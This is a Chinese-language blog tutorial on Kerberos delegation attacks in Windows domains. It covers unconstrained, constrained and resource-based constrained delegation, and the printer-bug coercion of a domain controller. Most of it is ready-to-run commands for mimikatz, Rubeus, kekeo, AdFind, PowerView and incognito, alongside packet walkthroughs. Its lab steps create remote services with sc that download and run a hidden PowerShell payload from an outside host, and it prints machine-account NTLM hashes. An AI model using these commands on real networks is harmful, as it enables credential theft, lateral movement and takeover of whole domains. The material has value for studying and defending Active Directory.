1、诱导管理员通过Kerberos访问被控机器(诱导管理员访问借助了Windows特性会用当前账户密码进行认证的特性)
在这里插入图片描述

2、在被控机器上使用mimikatz进行导出

privilege::debug
sekurlsa::tickets /export

在这里插入图片描述

3、将administrator票据注入到内存中,就可以访问域控了

kerberos::ptt [0;524c5]-2-0-60a10000-Administrator@krbtgt-XBXAQ.COM.kirbi

在这里插入图片描述

打印机漏洞进行委派攻击

一般情况下,域控是不会自动访问域内机器。可以利用Windows 打印系统远程协议(MS-RPRN),该方法域用户可以使用S-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)的方法强制任何允许了Spooler服务的计算机,以通过Kerberos或NTLM对攻击者选择的目录进行身份认证。

非约束性委派主机接合Spooler打印机服务漏洞,可以让域控机器DC强制访问已控的具有本地管理员权限的非约束性委派机器,从而拿到域控用户的HASH值,从而控制整个域。

主动与被动的区别

  • 主动:拿到域用户的hash值,进行PTT攻击
  • 被动:拿到机器用户的hash值,使用dcsync,接着进行PTT攻击

约束性委派攻击

委派设置

约束性委派的设置分为两种:

  1. 仅使用Kerberos

  2. 可以使用任何身份协议

约束性委派需要指定委派的机器和协议必须设置

设置对象

约束性委派在域控上设置的对象分为两种

1、机器账户

2、注册了SPN的域用户

约束性委派模型

流量分析

当前环境

在zhong-PC计算机中设置了约束性委派,然后访问zhangsan-PC的CIFS服务

必须要勾选使用任何身份验证协议

选择"仅使用kerberos",即选择constrained delegation权限(S4U2Proxy)。

该选项下的"使用任何身份验证协议"则是protocol transition权限(S4U2self)。

使用Rubeus.exe工具完成

Rubeus.exe s4u /user:SERVER-16$ /rc4:9aac8b558918b3c18afc9f8182011376 /domain:xbxaq.com /msdsspn:CIFS/zhangsan.xbxaq.com /impersonateuser:administrator /ptt
  • user:设置委派计算机的机器用户
  • rc4:user账户的hash值
  • doamin:域名
  • msdsspn:访问的目标的服务地址
  • impersonateuser:需要委派的用户

image-20231224194016132

这个工具发送命令后,共有6个kerberos数据包

image-20231224194203669

第一条数据 AS-REQ

第一条数据包为当前计算机的机器用户身份信息,请求自己的TGT,请求的这个TGT是可以转发的。
在这里插入图片描述

该TGT是可以转发的
在这里插入图片描述

第二条数据 AS-REP

该条数据返回的是SERVER-16$用户的TGT票据(可以转发的TGT)
在这里插入图片描述

第三条数据 TGS-REQ

该条数据包是利用上一步得到的SERVER-16$的TGT(在数据包内),然后以administrator身份向TGS申请 一个自身的票据(ST),这里使用的是S4U2Self协议。
在这里插入图片描述

第四条数据 TGS-REP

该数据包为返回给该机器一张administrator用户访问本计算机的ST票据
在这里插入图片描述

第五条数据 TGS-REQ

SERVER-16$用户得到ST票据之后,以该ST票据作为证据,向TGS申请一张administrator用户访问zhangsan-PC的CIFS服务的ST票据
在这里插入图片描述

第六条数据 TGS-REP

返回给本计算机,以administrator用户身份访问zhangsan-PC的CIFS票据
在这里插入图片描述

存在的问题解决

  1. 服务账号B可以代表用户A向KDC申请访问B的票据,那么服务账号B能否代表域内管理员向KDC申请访问B的票据呢?
    在这个过程中,不需要域内管理员的参与,在服务账号B自身就可以完成

  2. 服务账号B可以代表用户A向KDC申请访问C的票据,那么服务账号B能否代表域内管理员向KDC申请访问C的票据呢?

    在这个过程中,不需要域内管理员的参与,在服务账号B自身就可以完成

问题解决

  • 只需要知道服务账户的密码或者hash值就可以申请任意用户访问自身的票据(ST1票据)
  • 使用ST1票据就可以申请任意用户访问委派的目标服务的票据(ST2)

约束性委派攻击的前提

  1. 知道设置约束性委派的用户名和密码(或者hash值)
  2. 知道设置约束性委派设置的委派目标的SPN

约束性委派攻击分为两步

  • 利用设置约束性委派的用户名申请ST
  • 利用ST1去申请ST2(任意用户的,一般是域管理员)

查询已配置账户

adfind

查询约束性委派服务账号

AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

在这里插入图片描述

PowerView.ps1

查询约束性委派的机器账户

Get-DomainComputer -TrustedToAuth -domain 域名 -Properties distinguishedname,msds-allowedtodelegateto|ft -Wrap -AutoSize

在这里插入图片描述

查询约束性委派的服务账户

Get-DomainUser -TrustedToAuth -domain 域名 -Properties distinguishedname,msds-allowedtodelegateto|fl

在这里插入图片描述

实验

机器账户上线域内机器

前提条件

  • 机器用户的hash值
  • 机器用户设置委派的机器与服务

1、查询设置委派的机器用户

AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

在这里插入图片描述

2、在机器用户上面直接查询hash值,(需要提权)
在这里插入图片描述

cs中的提权脚本地址:https://github.com/rsmudge/ElevateKit

在这里插入图片描述

提权成功
在这里插入图片描述

3、继续获取机器用户的hash值
在这里插入图片描述

10b9db776c68b68139ad65e5ae04069d

4、使用kekeo.exe工具申请TGT票据

shell kekeo.exe "tgt::ask /user:LM$ /domain:xbxaq.com /NTLM:10b9db776c68b68139ad65e5ae04069d" "exit"

在这里插入图片描述

5、申请ST1票据

shell kekeo.exe "tgs::s4u /tgt:TGT_LM$@XBXAQ.COM_krbtgt~xbxaq.com@XBXAQ.COM.kirbi /user:Administrator@xbxaq.com /service:HOST/ph.xbxaq.com" "exit"

在这里插入图片描述

6、申请ST2票据,并注入内存中

shell mimikatz.exe "kerberos::ptt TGS_Administrator@xbxaq.com@XBXAQ.COM_HOST~ph.xbxaq.com@XBXAQ.COM.kirbi /ptt"  "exit"

在这里插入图片描述

在这里插入图片描述

7、通过sc服务上线

shell sc \\ph.xbxaq.com create test binpath= "cmd.exe /c powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""




shell sc \\ph.xbxaq.com start test

在这里插入图片描述

服务账号上线域内机器

前提条件

  • 域用户的hash值或密码
  • 域用户设置委派的机器与服务

1、查询设置委派的服务账户

shell AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

在这里插入图片描述

2、获取lm用户的hash值
在这里插入图片描述

3ea43f5e0b23aca3eaa64f2ccc50bf2e

3、申请TGG票据

shell kekeo.exe "tgt::ask /user:lm /domain:xbxaq.com /NTLM:3ea43f5e0b23aca3eaa64f2ccc50bf2e" "exit"

在这里插入图片描述

4、申请ST1票据

shell kekeo.exe "tgs::s4u /tgt:TGT_lm@XBXAQ.COM_krbtgt~xbxaq.com@XBXAQ.COM.kirbi /user:administrator@xbxaq.com /service:HOST/ph.xbxaq.com" "exit"

在这里插入图片描述

5、申请ST2票据,并同时注入到内存中

shell mimikatz.exe "kerberos::ptt TGS_administrator@xbxaq.com@XBXAQ.COM_HOST~ph.xbxaq.com@XBXAQ.COM.kirbi /ptt"  "exit"

在这里插入图片描述
在这里插入图片描述

6、通过服务上线

shell sc \\ph.xbxaq.com create stt2 binpath= "cmd.exe /c powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""




shell sc \\ph.xbxaq.com start stt2

在这里插入图片描述

基于资源的约束性委派

概述

微软在Windows Server 2012中新引入了基于资源的约束性委派(Resource Based Constrained Delegation),简称RBCD。

基于资源的约束性委派将不需要通过域管理员进行修改,而是将设置属性的权限给了服务资源本身。

以WEB服务器和文件服务器为例,传统的约束性委派需要在WEB服务器上设置委派属性,以指定对文件服务器上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在文件服务器上设置资源委派,以允许WEB服务器对文件服务器上的服务进行委派。

在这里插入图片描述

设置方式

基于资源的约束性委派中,属性值为msDS-AllowedToActOnBehalfOfOtherIdentity,但是这是值任何用户都不能修改。

在这里插入图片描述

WEB服务器的机器名为zhangsan.xbxaq.com,文件系统服务器的机器用户名为server-16.xbxaq.com

登录server-16.xbxaq.com计算机,以administrator的身份登录计算机,打开powershell执行如下的命令进行修改msDS-AllowedToActOnBehalfOfOtherIdentit

1、设置变量值

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WEB服务器的SID值)";
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1445356431-3472965171-1941165345-1104)";

在这里插入图片描述

2、转换为16进制

$SDBytes = New-Object byte[] ($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes,0);

3、设置RBCD

导入Powerview.sp1脚本,执行以下命令

Import-Moudle .\Powerview.sp1
Get-DomainComputer 设置委派的机器名 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Get-DomainComputer server-16.xbxaq.com | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

在这里插入图片描述

设置成功

4、清除RBCD

Set-DomainObject 设置委派的机器名 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
Set-DomainObject server-16.xbxaq.com -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

配置RBCD的用户

并不是所有的用户都可以设置RBCD,需要的条件如下:

  1. 当机器加入域时使用的账户
  2. 计算机的机器用户(system)
  3. 域管理员(administrator)
  4. Account Operator组中的成员

当机器加入域时使用的账户

在大型内网环境中,将机器加入到域环境中一般不会用到域管权限,而是使用一个专门用来加入域的域用户进行操作。默认情况下,并非只有域管理员才可以将普通用户加入到域环境。

提示:域中的每一个普通账号都有将10台电脑加入域的权限,默认是十台,如果要修改可以更改ms-DS-MachineAccountQuota的值。

用zhong的域内用户使得机器加入域环境中

一旦电脑使用普通的域用户加入了域,在机器的属性中mS-DS-CreatorSID就是加入域用户的 SID值

使用zhong用户登录电脑,执行配置RBCD的命令

在这里插入图片描述

机器用户

计算机中的机器用户也可以进行配置RBCD,可使用令牌提权到system权限,system权限可以代表机器用户执行RBCD

incognito.exe工具

列出令牌

incognito.exe list_tokens -u

在这里插入图片描述

如果有system令牌的话如下

在这里插入图片描述

使用System令牌

incognito.exe execute -c "NT AUTHORITY\SYSTEM" powershell.exe

在这里插入图片描述

配置RBCD

在这里插入图片描述

域内管理员

域管理员是可以配置RBCD的

在这里插入图片描述

Account Operator组中的成员

Account Operators组,该组是内置的本地域组。该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。在默认情况下,该组中没有成员。也就是说,该组默认是域内管理用户和组的特殊权限组。可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录。

在这里插入图片描述

默认情况下成员为空

在这里插入图片描述

添加一个成员到Account Operators组中

在这里插入图片描述

使用liming账户配置RBCD

在这里插入图片描述

S4U协议分析

使用Rubeus.exe工具,伪造可任意用户登录

Rubeus.exe s4u /user:用户名 /rc4:对应的hash值 /domain:域名 /msdsspn:伪造的服务/委派机器名 /impersonateuser:伪造的用户 /ptt

注意:可以伪造任意服务,因为没有指定服务

环境准备

在这里插入图片描述

server 2012 dbcd.xbxaq.com设置委派

在这里插入图片描述

目前已经控制yh机器,并得知rbcd机器设置了基于资源性的约束性委派

1、使用mimikatz工具获取yh机器用户的hash值

在这里插入图片描述

2、Rubeus.exe工具

Rubeus.exe s4u /user:YH$ /rc4:5bc6dac2ad6010504b722258ff8ff3e7 /domain:xbxaq.com /msdsspn:CIFS/rbcd.xbxaq.com /impersonateuser:administrator /ptt

在这里插入图片描述

流量分析

执行Rubeus工具相关命令后共有六条kerberos数据
在这里插入图片描述

第一条 AS-REQ

YH$用户提供自己的身份信息,请求自己的TGT(该TGT是可以转发的)
在这里插入图片描述

可以转发的TGT
在这里插入图片描述

第二条数据 AS-REP

返回YH用户的TGT票据
在这里插入图片描述

第三条数据 TGS-REQ

使用上一步得到的YH$票据(在数据包内),以administrator的身份向TGS申请一张访问自身的ST票据
在这里插入图片描述

第四条数据 TGS-REP

TGS返回给给YH$用户一张 administrator用户访问自身的ST票据
在这里插入图片描述

第五条数据 TGS-REQ

YH$得到ST票据之后,以该ST票据为证据,申请一张administrator用户访问RBCD机器的CIFS服务的ST票据(可以申请任意服务的ST票据)。这里使用的是S4U2Proxy协议
在这里插入图片描述

第六条数据 TGS-REP

TGS返回YH$用户,以administrator用户身份访问rbcd机器的CIFS服务的ST票据
在这里插入图片描述

查询已配置机器

查询配置了RBCD的机器账户

AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

在这里插入图片描述

查询已配置RBCD的域账户

AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

在这里插入图片描述

查询机器是由哪个用户加入到域中的(查询的是SID值)

AdFind.exe -b "DC=xbxaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID

在这里插入图片描述

通过SID值查询用户

AdFind.exe -sc adsid:S-1-5-21-1445356431-3472965171-1941165345-1111 -d

在这里插入图片描述

实验

域内已知:控制了LM机器,域控为DC

攻击RBCD配置机器上线CS

1、查询配置了RBCD的机器

shell AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

在这里插入图片描述

2、查询PH给哪台机器设置了委派,CS加载脚本进行查询

powershell-import Powerview.ps1

$xbx=Get-DomainComputer PH -Properties 'msds-allowedtoactonbehalfofotheridentity' | Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity;(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $xbx, 0).DiscretionaryAcl

在这里插入图片描述

3、通过这个SID查询具体的账户

shell AdFind.exe -sc adsid:S-1-5-21-2744095687-1279945619-2928600117-1111 -dn

在这里插入图片描述

注意:如果是机器账号必须要控制该机器,如果是域账户可以通过密码喷洒

LM$机器用户设置的ph.xbxaq.com,控制的机器就是LM

接下来进行委派攻击,与约束性委派攻击实验相同

  • 28
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值